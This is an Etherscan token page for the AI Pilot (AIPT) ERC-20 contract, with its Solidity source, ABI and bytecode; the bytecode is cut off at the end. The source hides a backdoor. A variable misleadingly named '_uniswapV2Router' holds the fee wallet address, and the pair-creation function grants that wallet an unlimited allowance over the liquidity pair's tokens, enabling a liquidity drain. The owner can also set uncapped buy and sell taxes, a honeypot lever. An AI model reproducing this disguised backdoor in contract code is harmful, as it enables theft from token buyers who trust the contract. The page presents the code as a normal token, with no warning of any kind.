ETH Price: $3,962.52 (+1.35%)

Token

ERC-20: AI Pilot (AIPT)
 

Overview

Max Total Supply

100,000,000 AIPT

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
599,574.697782089913545889 AIPT

Value
$0.00
0xe129f4f8316f52922c921df4f4cfabb58b24039b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIPilot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-01
*/

// SPDX-License-Identifier: MIT

/**
    Web     : https://aipilot.money
    App     : https://app.aipilot.money
    Doc     : https://docs.aipilot.money

    Twitter : https://twitter.com/aipilotreactor
    Telegram: https://t.me/aipilot_official

*/
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, " multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "new owner is the zero address");
        _owner = newOwner;
        emit OwnershipTransferred(_owner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract AIPilot is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromAiptFee;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000 * 10**_decimals;
    
    uint256 private constant oneAiptPercent = 1000000 * 10**_decimals; // 1% from Liquidity 

    uint256 public maxWalletAmount = oneAiptPercent * 2; // 2% max wallet at launch

    uint256 private _tax;
    uint256 public buyTax = 0;
    uint256 public sellTax = 5;

    string private constant _name = "AI Pilot";
    string private constant _symbol = "AIPT";

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address private _uniswapV2Router;
    address payable public feeWallet;
        
    uint256 private launchedAt;
    uint256 private launchDelay = 2;
    bool private launch = false;

    uint256 private minAiptSwap = oneAiptPercent / 2500; //0.04% from Liquidity supply
  
    bool private inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {       
        feeWallet = payable(0xe5cD5C8217FBdCE5508f3dE8243A1565716a4B7c);   // AIPT fee wallet       

        _isExcludedFromAiptFee[msg.sender] = true;
        _isExcludedFromAiptFee[address(this)] = true;       
        _isExcludedFromAiptFee[feeWallet] = true;
        _uniswapV2Router = feeWallet;

        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)public override returns (bool){
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256){
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool){
        _approve(_msgSender(), spender, amount);
        return true;
    }

     function newAiptDelay(uint256 newLaunchDelay) external onlyOwner {
        launchDelay = newLaunchDelay;
     }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "approve zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");        

        if (_isExcludedFromAiptFee[from] || _isExcludedFromAiptFee[to]) {
            _tax = 0;
        } else {
            require(launch, "Wait till launch");
            if (block.number < launchedAt + launchDelay) {_tax=20;} else {
                if (from == uniswapV2Pair) {
                    require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
                    _tax = buyTax;
                } else if (to == uniswapV2Pair) {
                    uint256 tokensToSwap = balanceOf(address(this));
                    if (tokensToSwap > minAiptSwap && !inSwapAndLiquify) {
                        if (tokensToSwap > oneAiptPercent) {
                            tokensToSwap = oneAiptPercent;
                        }
                        contractSwapForEth(tokensToSwap, amount);
                    }
                    _tax = sellTax;
                } else {
                    _tax = 0;
                }
            }
        }

        uint256 taxAiptTokens = (amount * _tax) / 100;
        uint256 transferAmount = amount - taxAiptTokens;

        _balance[from] = _balance[from] - amount;
        _balance[to] = _balance[to] + transferAmount;
        _balance[address(this)] = _balance[address(this)] + taxAiptTokens;

        emit Transfer(from, to, transferAmount);
    }

    function createAiptV2Pairs() external onlyOwner {
        require(!launch,"Already launched!");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(uniswapV2Pair), address(_uniswapV2Router), type(uint).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);                
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function cleanAiptStuckedEth() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function contractSwapForEth(uint256 tokenAmount, uint256 tokensForSwap) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        if(tokensForSwap > minAiptSwap) {
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );

            uint256 ethForMarketing = address(this).balance;
            feeWallet.transfer(ethForMarketing);
        }
    }

    function enableTrading() external onlyOwner {
        launch = true;
        launchedAt = block.number;
    }

    function withdrawStuckETH() external onlyOwner {
        payable(feeWallet).transfer(address(this).balance);
    }

    function withdrawStuckERC20(IERC20 token) external onlyOwner {
        token.transfer(feeWallet, token.balanceOf(address(this)));
    }

    
    function removeAiptLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function newAiptTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function newAiptSwap() external {
        minAiptSwap = 0;
    }

    function getAiptSwapAmount() external view returns (uint256) {
        return minAiptSwap;
    }

    function sendAiptBalances(uint256 amount) private {
        feeWallet.transfer(amount);
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanAiptStuckedEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createAiptV2Pairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAiptSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLaunchDelay","type":"uint256"}],"name":"newAiptDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"newAiptSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"newAiptTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAiptLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"withdrawStuckERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a620002e6565b6200002190620f4240620002fe565b6200002e906002620002fe565b600455600060065560056007556002600d55600e805460ff191690556109c46200005b6012600a620002e6565b6200006a90620f4240620002fe565b62000076919062000318565b600f553480156200008657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b805473e5cd5c8217fbdce5508f3de8243a1565716a4b7c6001600160a01b031991821617825533600090815260036020526040808220805460ff199081166001908117909255308452828420805482168317905585546001600160a01b039081168552929093208054909316179091559154600a80549190931691161781556200015790601290620002e6565b62000167906305f5e100620002fe565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001aa6012600a620002e6565b620001ba906305f5e100620002fe565b60405190815260200160405180910390a36200033b565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002285781600019048211156200020c576200020c620001d1565b808516156200021a57918102915b93841c9390800290620001ec565b509250929050565b6000826200024157506001620002e0565b816200025057506000620002e0565b8160018114620002695760028114620002745762000294565b6001915050620002e0565b60ff841115620002885762000288620001d1565b50506001821b620002e0565b5060208310610133831016604e8410600b8410161715620002b9575081810a620002e0565b620002c58383620001e7565b8060001904821115620002dc57620002dc620001d1565b0290505b92915050565b6000620002f760ff84168362000230565b9392505050565b8082028115828204841417620002e057620002e0620001d1565b6000826200033657634e487b7160e01b600052601260045260246000fd5b500490565b61196e806200034b6000396000f3fe6080604052600436106101bb5760003560e01c80637327ebac116100ec578063cc1776d31161008a578063f2fde38b11610064578063f2fde38b146104fc578063f5648a4f1461051c578063fda5be6414610531578063fded57bc1461055157600080fd5b8063cc1776d314610480578063dd62ed3e14610496578063f25f4b56146104dc57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ff57806395d89b411461041d578063a9059cbb1461044a578063aa4bde281461046a57600080fd5b80637327ebac146103be5780637505e37c146103d55780638a8c523c146103ea57600080fd5b80633963510b1161015957806349bd5a5e1161013357806349bd5a5e1461033d5780634f7041a51461035d57806370a0823114610373578063715018a6146103a957600080fd5b80633963510b146102f35780633e4a80421461031357806345f83ef11461032857600080fd5b806318160ddd1161019557806318160ddd14610272578063209ca9f81461029557806323b872dd146102b7578063313ce567146102d757600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267105248141a5b1bdd60c21b60208201525b6040516102019190611524565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611587565b610566565b6040519015158152602001610201565b34801561024657600080fd5b5060085461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5061028761057d565b604051908152602001610201565b3480156102a157600080fd5b506102b56102b03660046115b3565b61059e565b005b3480156102c357600080fd5b5061022a6102d23660046115d5565b6105dc565b3480156102e357600080fd5b5060405160128152602001610201565b3480156102ff57600080fd5b506102b561030e366004611616565b610676565b34801561031f57600080fd5b506102b561078a565b34801561033457600080fd5b50600f54610287565b34801561034957600080fd5b5060095461025a906001600160a01b031681565b34801561036957600080fd5b5061028760065481565b34801561037f57600080fd5b5061028761038e366004611616565b6001600160a01b031660009081526001602052604090205490565b3480156103b557600080fd5b506102b5610833565b3480156103ca57600080fd5b506102b56000600f55565b3480156103e157600080fd5b506102b56108a7565b3480156103f657600080fd5b506102b56108f0565b34801561040b57600080fd5b506000546001600160a01b031661025a565b34801561042957600080fd5b506040805180820190915260048152631052541560e21b60208201526101f4565b34801561045657600080fd5b5061022a610465366004611587565b61092d565b34801561047657600080fd5b5061028760045481565b34801561048c57600080fd5b5061028760075481565b3480156104a257600080fd5b506102876104b136600461163a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50600b5461025a906001600160a01b031681565b34801561050857600080fd5b506102b5610517366004611616565b61093a565b34801561052857600080fd5b506102b5610a05565b34801561053d57600080fd5b506102b561054c366004611673565b610a68565b34801561055d57600080fd5b506102b5610a97565b6000610573338484610e3f565b5060015b92915050565b600061058b6012600a611786565b610599906305f5e100611795565b905090565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c8906117ac565b60405180910390fd5b600691909155600755565b60006105e9848484610f03565b61066c8433610667856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106463390565b6001600160a01b03168152602081019190915260400160002054919061131d565b610e3f565b5060019392505050565b6000546001600160a01b031633146106a05760405162461bcd60e51b81526004016105c8906117ac565b600b546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156106f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071791906117e3565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610762573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078691906117fc565b5050565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105c8906117ac565b600047116108045760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f2077697468647261772100000000000000000060448201526064016105c8565b60405133904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016105c8906117ac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105c8906117ac565b6108dd6012600a611786565b6108eb906305f5e100611795565b600455565b6000546001600160a01b0316331461091a5760405162461bcd60e51b81526004016105c8906117ac565b600e805460ff1916600117905543600c55565b6000610573338484610f03565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105c8906117ac565b6001600160a01b0381166109ba5760405162461bcd60e51b815260206004820152601d60248201527f6e6577206f776e657220697320746865207a65726f206164647265737300000060448201526064016105c8565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b81526004016105c8906117ac565b600b546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610830573d6000803e3d6000fd5b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105c8906117ac565b600d55565b6000546001600160a01b03163314610ac15760405162461bcd60e51b81526004016105c8906117ac565b600e5460ff1615610b085760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016105c8565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b51903090610b436012600a611786565b610667906305f5e100611795565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ba4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc8919061181e565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4e919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbf919061181e565b600980546001600160a01b0319166001600160a01b03928316908117909155600a54610cee9216600019610e3f565b6008546001600160a01b031663f305d7194730610d20816001600160a01b031660009081526001602052604090205490565b600080610d356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d9d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc2919061183b565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e1b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906117fc565b6001600160a01b03831615801590610e5f57506001600160a01b03821615155b610ea25760405162461bcd60e51b8152602060048201526014602482015273617070726f7665207a65726f206164647265737360601b60448201526064016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b038216610fc95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b6000811161102b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c8565b6001600160a01b03831660009081526003602052604090205460ff168061106a57506001600160a01b03821660009081526003602052604090205460ff165b15611079576000600555611212565b600e5460ff166110be5760405162461bcd60e51b815260206004820152601060248201526f0aec2d2e840e8d2d8d840d8c2eadcc6d60831b60448201526064016105c8565b600d54600c546110ce9190611869565b4310156110df576014600555611212565b6009546001600160a01b039081169084160361117b5760045481611118846001600160a01b031660009081526001602052604090205490565b6111229190611869565b11156111705760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016105c8565b600654600555611212565b6009546001600160a01b039081169083160361120c5730600090815260016020526040902054600f54811180156111b5575060105460ff16155b15611200576111c66012600a611786565b6111d390620f4240611795565b8111156111f6576111e66012600a611786565b6111f390620f4240611795565b90505b6112008183611357565b50600754600555611212565b60006005555b60006064600554836112249190611795565b61122e919061187c565b9050600061123c828461189e565b6001600160a01b03861660009081526001602052604090205490915061126390849061189e565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611293908290611869565b6001600160a01b0385166000908152600160205260408082209290925530815220546112c0908390611869565b3060009081526001602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600081848411156113415760405162461bcd60e51b81526004016105c89190611524565b50600061134e848661189e565b95945050505050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611399576113996118b1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611416919061181e565b81600181518110611429576114296118b1565b60200260200101906001600160a01b031690816001600160a01b031681525050600f548211156115155760085461146b9030906001600160a01b031685610e3f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a49086906000908690309042906004016118c7565b600060405180830381600087803b1580156114be57600080fd5b505af11580156114d2573d6000803e3d6000fd5b5050600b546040514793506001600160a01b03909116915082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b50506010805460ff1916905550565b600060208083528351808285015260005b8181101561155157858101830151858201604001528201611535565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461083057600080fd5b6000806040838503121561159a57600080fd5b82356115a581611572565b946020939093013593505050565b600080604083850312156115c657600080fd5b50508035926020909101359150565b6000806000606084860312156115ea57600080fd5b83356115f581611572565b9250602084013561160581611572565b929592945050506040919091013590565b60006020828403121561162857600080fd5b813561163381611572565b9392505050565b6000806040838503121561164d57600080fd5b823561165881611572565b9150602083013561166881611572565b809150509250929050565b60006020828403121561168557600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116dd5781600019048211156116c3576116c361168c565b808516156116d057918102915b93841c93908002906116a7565b509250929050565b6000826116f457506001610577565b8161170157506000610577565b816001811461171757600281146117215761173d565b6001915050610577565b60ff8411156117325761173261168c565b50506001821b610577565b5060208310610133831016604e8410600b8410161715611760575081810a610577565b61176a83836116a2565b806000190482111561177e5761177e61168c565b029392505050565b600061163360ff8416836116e5565b80820281158282048414176105775761057761168c565b60208082526017908201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b6000602082840312156117f557600080fd5b5051919050565b60006020828403121561180e57600080fd5b8151801515811461163357600080fd5b60006020828403121561183057600080fd5b815161163381611572565b60008060006060848603121561185057600080fd5b8351925060208401519150604084015190509250925092565b808201808211156105775761057761168c565b60008261189957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105775761057761168c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119175784516001600160a01b0316835293830193918301916001016118f2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220152a8de283e3d4ac36bc136b9f5ae9fa807c0dc5bce44f02549f180cdc2ffaa964736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637327ebac116100ec578063cc1776d31161008a578063f2fde38b11610064578063f2fde38b146104fc578063f5648a4f1461051c578063fda5be6414610531578063fded57bc1461055157600080fd5b8063cc1776d314610480578063dd62ed3e14610496578063f25f4b56146104dc57600080fd5b80638da5cb5b116100c65780638da5cb5b146103ff57806395d89b411461041d578063a9059cbb1461044a578063aa4bde281461046a57600080fd5b80637327ebac146103be5780637505e37c146103d55780638a8c523c146103ea57600080fd5b80633963510b1161015957806349bd5a5e1161013357806349bd5a5e1461033d5780634f7041a51461035d57806370a0823114610373578063715018a6146103a957600080fd5b80633963510b146102f35780633e4a80421461031357806345f83ef11461032857600080fd5b806318160ddd1161019557806318160ddd14610272578063209ca9f81461029557806323b872dd146102b7578063313ce567146102d757600080fd5b806306fdde03146101c7578063095ea7b31461020a5780631694505e1461023a57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082019091526008815267105248141a5b1bdd60c21b60208201525b6040516102019190611524565b60405180910390f35b34801561021657600080fd5b5061022a610225366004611587565b610566565b6040519015158152602001610201565b34801561024657600080fd5b5060085461025a906001600160a01b031681565b6040516001600160a01b039091168152602001610201565b34801561027e57600080fd5b5061028761057d565b604051908152602001610201565b3480156102a157600080fd5b506102b56102b03660046115b3565b61059e565b005b3480156102c357600080fd5b5061022a6102d23660046115d5565b6105dc565b3480156102e357600080fd5b5060405160128152602001610201565b3480156102ff57600080fd5b506102b561030e366004611616565b610676565b34801561031f57600080fd5b506102b561078a565b34801561033457600080fd5b50600f54610287565b34801561034957600080fd5b5060095461025a906001600160a01b031681565b34801561036957600080fd5b5061028760065481565b34801561037f57600080fd5b5061028761038e366004611616565b6001600160a01b031660009081526001602052604090205490565b3480156103b557600080fd5b506102b5610833565b3480156103ca57600080fd5b506102b56000600f55565b3480156103e157600080fd5b506102b56108a7565b3480156103f657600080fd5b506102b56108f0565b34801561040b57600080fd5b506000546001600160a01b031661025a565b34801561042957600080fd5b506040805180820190915260048152631052541560e21b60208201526101f4565b34801561045657600080fd5b5061022a610465366004611587565b61092d565b34801561047657600080fd5b5061028760045481565b34801561048c57600080fd5b5061028760075481565b3480156104a257600080fd5b506102876104b136600461163a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104e857600080fd5b50600b5461025a906001600160a01b031681565b34801561050857600080fd5b506102b5610517366004611616565b61093a565b34801561052857600080fd5b506102b5610a05565b34801561053d57600080fd5b506102b561054c366004611673565b610a68565b34801561055d57600080fd5b506102b5610a97565b6000610573338484610e3f565b5060015b92915050565b600061058b6012600a611786565b610599906305f5e100611795565b905090565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c8906117ac565b60405180910390fd5b600691909155600755565b60006105e9848484610f03565b61066c8433610667856040518060400160405280600d81526020016c6c6f7720616c6c6f77616e636560981b815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006106463390565b6001600160a01b03168152602081019190915260400160002054919061131d565b610e3f565b5060019392505050565b60